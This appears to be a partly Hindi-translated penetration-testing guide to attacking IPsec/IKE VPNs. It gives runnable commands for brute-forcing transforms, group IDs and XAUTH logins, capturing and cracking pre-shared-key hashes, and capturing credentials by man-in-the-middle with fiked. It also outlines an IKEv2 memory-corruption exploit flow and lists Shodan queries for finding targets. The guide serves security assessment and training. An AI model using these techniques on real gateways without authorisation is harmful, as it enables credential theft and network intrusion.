500/udp - Pentesting IPsec/IKE VPN

Reading time: 18 minutes

बुनियादी जानकारी

IPsec व्यापक रूप से नेटवर्कों के बीच (LAN-to-LAN) और रिमोट उपयोगकर्ताओं से नेटवर्क गेटवे तक (remote access) संचार को सुरक्षित करने के लिए प्रमुख तकनीक के रूप में मान्यता प्राप्त है, और यह एंटरप्राइज़ VPN समाधानों की रीढ़ के रूप में काम करता है।

दोनों बिंदुओं के बीच एक security association (SA) की स्थापना IKE द्वारा प्रबंधित होती है, जो प्रमाणिकरण और कुंजी विनिमय के लिए डिज़ाइन किए गए प्रोटोकॉल ISAKMP के अंतर्गत काम करता है। यह प्रक्रिया कई चरणों में होती है:

• Phase 1: दो एंडपॉइंट्स के बीच एक सुरक्षित चैनल बनाया जाता है। यह Pre-Shared Key (PSK) या certificates के उपयोग के माध्यम से हासिल किया जाता है, और इसमें main mode (जिसमें तीन जोड़े संदेश होते हैं) या aggressive mode का प्रयोग किया जा सकता है।
• Phase 1.5: अनिवार्य नहीं होने पर भी, इस चरण को Extended Authentication Phase कहा जाता है; यह उस उपयोगकर्ता की पहचान सत्यापित करता है जो कनेक्ट करने का प्रयास कर रहा है, जिसके लिए username और password की आवश्यकता होती है।
• Phase 2: यह चरण डेटा की सुरक्षा के लिए ESP और AH के साथ पैरामीटर पर negotiation करने के लिए समर्पित है। यह Phase 1 में उपयोग किए गए एल्गोरिदम से अलग एल्गोरिदम के उपयोग की अनुमति देता है ताकि Perfect Forward Secrecy (PFS) सुनिश्चित हो और सुरक्षा बढ़े।

डिफ़ॉल्ट पोर्ट: 500/udp

आमतौर पर भी एक्सपोज़ रहता है: 4500/udp (NAT Traversal)

सेवा का पता लगाएँ nmap का उपयोग करके

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

एक वैध transformation ढूँढना

The IPSec configuration केवल एक या कुछ ही transformations स्वीकार करने के लिए तैयार की जा सकती है। एक transformation मानों का संयोजन होता है। Each transform में कई गुण होते हैं जैसे DES या 3DES के रूप में encryption algorithm, SHA या MD5 के रूप में integrity algorithm, एक pre-shared key के रूप में authentication type, Diffie-Hellman 1 या 2 के रूप में कुंजी distribution algorithm और 28800 सेकंड के रूप में lifetime।

तो, सबसे पहला काम जो आपको करना है वह यह है कि आप find a valid transformation, ताकि server आपसे बात करे। ऐसा करने के लिए, आप टूल ike-scan का उपयोग कर सकते हैं। By default, Ike-scan main mode में काम करता है, और gateway को एक packet भेजता है जिसमें एक ISAKMP header और एक single proposal होता है जिसमें eight transforms inside it।

प्रतिक्रिया के आधार पर आप endpoint के बारे में कुछ जानकारी प्राप्त कर सकते हैं:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

जैसा कि आप पिछले उत्तर में देख सकते हैं, एक फील्ड है जिसका नाम AUTH है और इसका मान PSK है। यह मतलब है कि vpn को preshared key का उपयोग करके configured किया गया है (और यह एक pentester के लिए वास्तव में अच्छा है).
आखिरी पंक्ति का मान भी बहुत महत्वपूर्ण है:

• 0 returned handshake; 0 returned notify: इसका मतलब है कि लक्ष्य IPsec gateway नहीं है।
• 1 returned handshake; 0 returned notify: इसका मतलब है कि लक्ष्य IPsec के लिए configured है और IKE negotiation करने के लिए willing है, और आपने प्रस्तावित किए गए एक या अधिक transforms स्वीकार्य हैं (एक मान्य transform आउटपुट में दिखाया जाएगा)।
• 0 returned handshake; 1 returned notify: VPN gateways एक notify message के साथ प्रतिक्रिया करते हैं जब कोई भी transforms स्वीकार्य नहीं होते (हालाँकि कुछ gateways ऐसा नहीं करते, ऐसे में आगे का विश्लेषण और एक संशोधित proposal आजमाना चाहिए)।

फिर, इस मामले में हमारे पास पहले से ही एक valid transformation है लेकिन अगर आप तीसरे केस में हैं, तो आपको थोड़ा सा brute-force करके एक valid transformation ढूँढना होगा:

सबसे पहले आपको सभी संभावित transformations बनानी होंगी:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

और फिर प्रत्येक पर ike-scan का उपयोग करके brute-force करें (यह कुछ मिनट ले सकता है):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

यदि brute-force काम नहीं कर रहा है, तो संभव है कि सर्वर वैध transforms के लिए भी handshakes के बिना प्रतिक्रिया दे रहा हो। तब आप वही brute-force aggressive mode का उपयोग करके आज़मा सकते हैं:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

आशा है कि एक वैध रूपांतरण वापस प्रतिध्वनित होगा.
आप iker.py का उपयोग करके same attack आज़मा सकते हैं.
आप ikeforce के साथ brute force transformations भी आज़मा सकते हैं:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

In DH Group: 14 = 2048-bit MODP and 15 = 3072-bit
2 = HMAC-SHA = SHA1 (in this case). The --trans format is $Enc,$Hash,$Auth,$DH

Cisco संकेत करता है कि DH groups 1 and 2 का उपयोग न किया जाए क्योंकि वे पर्याप्त मजबूत नहीं हैं। विशेषज्ञ मानते हैं कि बहुत संसाधनों वाले देश इन कमजोर समूहों का उपयोग करने वाले डेटा की एन्क्रिप्शन को आसानी से तोड़ सकते हैं। यह एक विशेष विधि का उपयोग करके किया जाता है जो उन्हें तेजी से कोड क्रैक करने के लिए तैयार करती है। भले ही इस विधि को स्थापित करने में बहुत खर्च आता हो, यह इन शक्तिशाली देशों को वास्तविक समय में एन्क्रिप्टेड डेटा पढ़ने की अनुमति दे सकता है यदि वह कमजोर समूह (जैसे 1,024-bit या उससे छोटा) का उपयोग कर रहा हो।

Server fingerprinting

इसके बाद, आप ike-scan का उपयोग करके डिवाइस के विक्रेता की पहचान करने की कोशिश कर सकते हैं। टूल एक प्रारंभिक प्रस्ताव भेजता है और रिप्ले करना रोक देता है। फिर यह सर्वर से प्राप्त संदेशों और मेल खाने वाले प्रतिक्रिया पैटर्न के बीच के समय के अंतर का विश्लेषण करेगा, और pentester सफलतापूर्वक VPN गेटवे विक्रेता को fingerprint कर सकेगा। इसके अलावा, कुछ VPN सर्वर वैकल्पिक Vendor ID (VID) payload को IKE के साथ उपयोग करेंगे।

यदि आवश्यक हो तो वैध रूपांतरण निर्दिष्ट करें (using --trans)

If IKE discover which is the vendor it will print it:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

यह nmap script ike-version के साथ भी हासिल किया जा सकता है

IKEv2-specific: WatchGuard Vendor ID version fingerprinting

कुछ IKEv2 daemons IKE_SA_INIT response में non-standard Vendor ID payloads शामिल करते हैं। WatchGuard Fireware OS VID के अंदर सीधे appliance version/build को encode करता है, जिससे single-packet, pre-auth fingerprinting संभव होता है।

• Transport: UDP/500 (and UDP/4500 for NAT-T)
• Packet: IKE_SA_INIT response में एक या अधिक Vendor ID payloads होते हैं
• WatchGuard format: 32-byte hash के बाद base64 आता है जो decode होने पर उदाहरण के लिए VN=12.11.3 BN=719894 बनता है

Example raw bytes from a WatchGuard VID payload (last 12 bytes are base64):

00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807  ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b  .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243  Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d            Tj03MTk4OTQ=

जब आपके पास base64 tail हो तो शेल पर त्वरित निकालना:

echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894

नोट्स

• यह किसी भी IKEv2 RFC का भाग नहीं है। इसे rapid scoping के लिए एक vendor quirk के रूप में ट्रीट करें ताकि exposed/vulnerable Fireware OS versions की पहचान तेज़ हो सके।
• आपको केवल एक IKE_SA_INIT reply eliciting की आवश्यकता है; कोई authentication आवश्यक नहीं है।

Finding the correct ID (group name)

hash को capture करने की अनुमति पाने के लिए आपको Aggressive mode को सपोर्ट करने वाला एक valid transformation और सही ID (group name) चाहिए। संभवतः आप valid group name नहीं जानेंगे, इसलिए आपको इसे brute-force करना होगा.
ऐसा करने के लिए, मैं आपको 2 तरीके सुझाऊँगा:

Bruteforcing ID with ike-scan

सबसे पहले एक नकली ID के साथ एक request भेजकर hash एकत्र करने की कोशिश करें ("-P"):

ike-scan -P -M -A -n fakeID <IP>

कोई hash वापस नहीं होता, तो संभवतः यह तरीका brute forcing के लिए काम करेगा। यदि कुछ hash वापस किया जाता है, तो इसका मतलब है कि fake hash fake ID के लिए वापस भेजा जा रहा है, इसलिए यह तरीका ID को brute-force करने के लिए विश्वसनीय नहीं होगा। उदाहरण के लिए, एक fake hash वापस किया जा सकता है (यह आधुनिक versions में होता है):

लेकिन जैसा मैंने कहा, यदि कोई hash वापस नहीं होता है, तो आपको ike-scan का उपयोग करके सामान्य group names को brute-force करने की कोशिश करनी चाहिए।

यह script संभावित IDs को brute-force करने की कोशिश करेगा और उन IDs को लौटाएगा जहाँ एक valid handshake वापस होता है (यह एक valid group name होगा).

यदि आपने कोई specific transformation खोज ली है तो उसे ike-scan command में जोड़ें। और यदि आपने कई transformations खोजे हैं तो उन्हें आज़माने के लिए एक नया loop जोड़ने के लिए स्वतंत्र महसूस करें (आपको उन्हें तब तक आज़माना चाहिए जब तक उनमें से कोई एक ठीक से काम न कर सके).

आप सामान्य group names को brute-force करने के लिए the dictionary of ikeforce या the one in seclists का उपयोग कर सकते हैं:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Or use this dict (is a combination of the other 2 dicts without repetitions):

Bruteforcing ID with Iker

iker.py भी ike-scan का उपयोग करके संभावित group names को bruteforce करता है। यह अपने तरीके का पालन करता है ताकि ike-scan के आउटपुट के आधार पर एक valid ID ढूंढा जा सके।

Bruteforcing ID with ikeforce

ikeforce.py एक tool है जिसे brute force IDs भी करने के लिए उपयोग किया जा सकता है। यह tool विभिन्न vulnerabilities का exploit करने की कोशिश करेगा जो उपयोग किया जा सकता है valid और non-valid ID के बीच अंतर करने के लिए (false positives और false negatives हो सकते हैं, इसलिए जहाँ संभव हो मैं ike-scan विधि का उपयोग करना पसंद करता हूँ)।

डिफ़ॉल्ट रूप से ikeforce शुरुआत में कुछ random ids भेजेगा ताकि server के व्यवहार की जाँच की जा सके और उपयोग की जाने वाली tactic निर्धारित की जा सके।

• The first method is to brute-force the group names by searching for the information Dead Peer Detection DPD of Cisco systems (this info is only replayed by the server if the group name is correct).
• The second method available is to checks the number of responses sent to each try because sometimes more packets are sent when the correct id is used.
• The third method consist on searching for "INVALID-ID-INFORMATION" in response to incorrect ID.
• Finally, if the server does not replay anything to the checks, ikeforce will try to brute force the server and check if when the correct id is sent the server replay with some packet.
  स्पष्ट रूप से, id को brute force करने का लक्ष्य valid id मिलने पर PSK प्राप्त करना है। फिर, उस id और PSK के साथ आपको XAUTH को brute-force करना होगा (यदि यह enabled है)।

यदि आपने कोई specific transformation खोजी है तो उसे ikeforce command में जोड़ें। और यदि आपने कई transformations खोजीं हैं तो उन्हें आज़माने के लिए एक नया loop जोड़ने में संकोच न करें (आपको तब तक सभी कोशिश करनी चाहिए जब तक उनमें से एक सही ढंग से काम न कर रहा हो)।

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library

./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(पुस्तक से Network Security Assessment: Know Your Network): यह भी संभव है कि मान्य उपयोगकर्ता नामों को VPN client और server के बीच connection को sniffing करके प्राप्त किया जा सके, क्योंकि पहला aggressive mode packet जिसमें client ID होता है, साफ़ तौर पर भेजा जाता है

Capturing & cracking the hash

अंत में, यदि आपने एक valid transformation और group name पाया है और aggressive mode is allowed, तो आप बहुत आसानी से crackable hash प्राप्त कर सकते हैं:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

hash.txt के अंदर hash सहेजा जाएगा।

आप psk-crack, john (का उपयोग करते हुए ikescan2john.py) और hashcat का उपयोग करके hash को crack कर सकते हैं:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE और Pre-Shared Key (PSK) का संयोजन सामान्यतः group authentication उद्देश्यों के लिए उपयोग किया जाता है। इस विधि को बढ़ाने के लिए XAuth (Extended Authentication) का उपयोग होता है, जो एक अतिरिक्त स्तर के रूप में user authentication जोड़ता है। ऐसा प्रमाणीकरण आमतौर पर Microsoft Active Directory, RADIUS, या समकक्ष सेवाओं का उपयोग करता है।

IKEv2 की ओर संक्रमण में एक महत्वपूर्ण बदलाव दिखता है जहाँ उपयोगकर्ताओं के प्रमाणीकरण के लिए XAuth के स्थान पर EAP (Extensible Authentication Protocol) का उपयोग होता है। यह परिवर्तन सुरक्षित संचार प्रोटोकॉल के भीतर प्रमाणीकरण प्रथाओं के विकास को रेखांकित करता है।

Local network MitM to capture credentials

तो आप लॉगिन का डेटा fiked का उपयोग करके कैप्चर कर सकते हैं और देख सकते हैं कि कोई डिफ़ॉल्ट यूज़रनेम है या नहीं (sniffing के लिए आपको IKE ट्रैफ़िक को fiked पर रीडायरेक्ट करना होगा, जिसे ARP spoofing की मदद से किया जा सकता है, more info). Fiked एक VPN endpoint के रूप में काम करेगा और XAuth credentials को कैप्चर करेगा:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

साथ ही, IPSec का उपयोग करके MitM हमला करने और port 500 के सभी ट्रैफ़िक को ब्लॉक करने की कोशिश करें; यदि IPSec tunnel स्थापित नहीं हो पाती है तो संभव है कि ट्रैफ़िक clear में भेजा जाए।

Brute-forcing XAUTH username and password with ikeforce

To brute force the XAUTH (जब आप एक वैध group name id और psk जानते हों) आप एक username या usernames की सूची और passwords की एक सूची का उपयोग कर सकते हैं:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

इस तरह, ikeforce हर username:password संयोजन का उपयोग करके कनेक्ट करने का प्रयास करेगा।

यदि आपने एक या several वैध transforms पाए हैं तो उन्हें पिछले चरणों की तरह उपयोग करें।

IPSEC VPN के साथ प्रमाणीकरण

Kali में, VPNC का उपयोग IPsec tunnels स्थापित करने के लिए किया जाता है। profiles को निर्देशिका /etc/vpnc/ में होना चाहिए। आप इन profiles को कमांड vpnc से प्रारंभ कर सकते हैं।

निम्नलिखित कमांड और कॉन्फ़िगरेशन VPNC के साथ VPN कनेक्शन सेटअप करने की प्रक्रिया को दर्शाते हैं:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

In this setup:

• Replace [VPN_GATEWAY_IP] with the actual IP address of the VPN gateway.
• Replace [VPN_CONNECTION_ID] with the identifier for the VPN connection.
• Replace [VPN_GROUP_SECRET] with the VPN's group secret.
• Replace [VPN_USERNAME] and [VPN_PASSWORD] with the VPN authentication credentials.
• [PID] symbolizes the process ID that will be assigned when vpnc initiates.

Ensure that actual, secure values are used to replace the placeholders when configuring the VPN.

IKEv2 exploitation notes: pre-auth IDi/CERT processing bugs

आधुनिक VPN appliances अक्सर IKEv2 को UDP/500 पर एक्सपोज़ करते हैं (और NAT-T के लिए UDP/4500)। एक सामान्य pre-authentication attack surface IKE_SA_AUTH के दौरान Identification (IDi) और Certificate payloads के parsing में होता है।

High-level exploitation flow when a vulnerable IKEv2 parser exists:

• Send a valid IKE_SA_INIT to negotiate transforms and complete Diffie–Hellman.
• Follow with IKE_SA_AUTH carrying an IDi that triggers the bug (e.g., an oversized Identification copied into a fixed-size stack buffer before certificate validation).
• Resulting memory corruption can yield saved-register and return-address control.
• With NX enabled but other mitigations missing (no PIE/canaries), build a ROP chain to call mprotect on a stack page and then pivot execution to injected shellcode or to a resident interpreter (e.g., /usr/bin/python3) if no /bin/sh is available.

Example default transforms observed on some IKEv2 appliances (WatchGuard Fireware OS 12.11.3):

• SHA2-256–AES(256-bit) with DH Group 14
• SHA1–AES(256-bit) with DH Group 5
• SHA1–AES(256-bit) with DH Group 2
• SHA1–3DES with DH Group 2

Practical tips

• Target both UDP/500 and UDP/4500; NAT-T servers may reply only on 4500.
• Increase receive buffer and timeouts for UDP-based scanners to avoid packet loss.
• If the service exposes custom Vendor IDs (see section above), use them to quickly fingerprint vulnerable versions before attempting any exploit traffic.

Reference Material

• PSK cracking paper
• SecurityFocus Infocus
• Scanning a VPN Implementation
• Network Security Assessment 3rd Edition

Shodan

• port:500 IKE
• port:4500 "UDP"
• udp port:500,4500 "WatchGuard"

References

• YIKES: WatchGuard Fireware OS IKEv2 out-of-bounds write (CVE-2025-9242)